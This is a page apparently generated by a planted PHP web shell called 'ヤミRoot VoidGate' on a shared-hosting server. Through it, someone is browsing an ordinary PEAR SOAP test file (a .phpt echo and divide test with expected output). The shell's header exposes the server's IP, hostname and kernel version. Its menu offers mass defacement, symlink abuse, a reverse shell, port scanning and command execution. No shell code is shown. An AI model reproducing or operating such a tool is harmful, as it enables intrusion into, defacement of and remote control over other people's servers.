ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
php
/
tests
/
SOAP
/
tests
/
Viewing: example_server_php5.phpt
--TEST-- Example server test (PHP 5) --SKIPIF-- <?php if (version_compare(zend_version(), 2, '<')) echo 'skip PHP 5 only'; ?> --FILE-- <?php /* Load files. */ require_once 'SOAP/Client.php'; require_once 'SOAP/Server.php'; require_once 'PEAR/Config.php'; $config = &PEAR_Config::singleton(); require_once dirname(dirname(__FILE__)) . '/example/example_server.php'; /* Create example server. */ $_SERVER['SERVER_NAME'] = null; $server = new SOAP_Server; $server->_auto_translation = true; $server->addObjectMap(new SOAP_Example_Server(), 'urn:SOAP_Example_Server'); /* Create example client. */ $client = new SOAP_Client('test://foo/'); $client->setOpt('server', $server); $client->_auto_translation = true; $client->setTypeTranslation('{http://soapinterop.org/xsd}SOAPStruct', 'SOAPStruct'); $options = array('namespace' => 'urn:SOAP_Example_Server', 'trace' => true); /* Create test list. */ $struct = new SOAPStruct('test string', 123, 123.123); $calls = array( array('echoStringSimple', array('inputStringSimple' => 'this is a test string')), array('echoString', array('inputString' => 'this is a test string')), array('divide', array('dividend' => 22, 'divisor' => 7)), array('divide', array('dividend' => 22, 'divisor' => 0)), array('echoStruct', array('inputStruct' => $struct->__to_soap())), array('echoStructAsSimpleTypes', array('inputStruct' => $struct->__to_soap())), ); /* Run tests. */ ob_start(); foreach ($calls as $call) { $result = $client->call($call[0], $call[1], $options); if (is_a($result, 'PEAR_Error')) { echo $result->getMessage(); } else { var_export($result); } echo "\n"; } ob_end_flush(); ?> --EXPECT-- 'this is a test string' 'this is a test string' 3.1428571428571 You cannot divide by zero SOAPStruct::__set_state(array( 'varString' => 'test string', 'varInt' => 123, 'varFloat' => 123.123, )) array ( 'outputString' => 'test string', 'outputInteger' => 123, 'outputFloat' => 123.123, )
Coded With 💗 by
0x6ick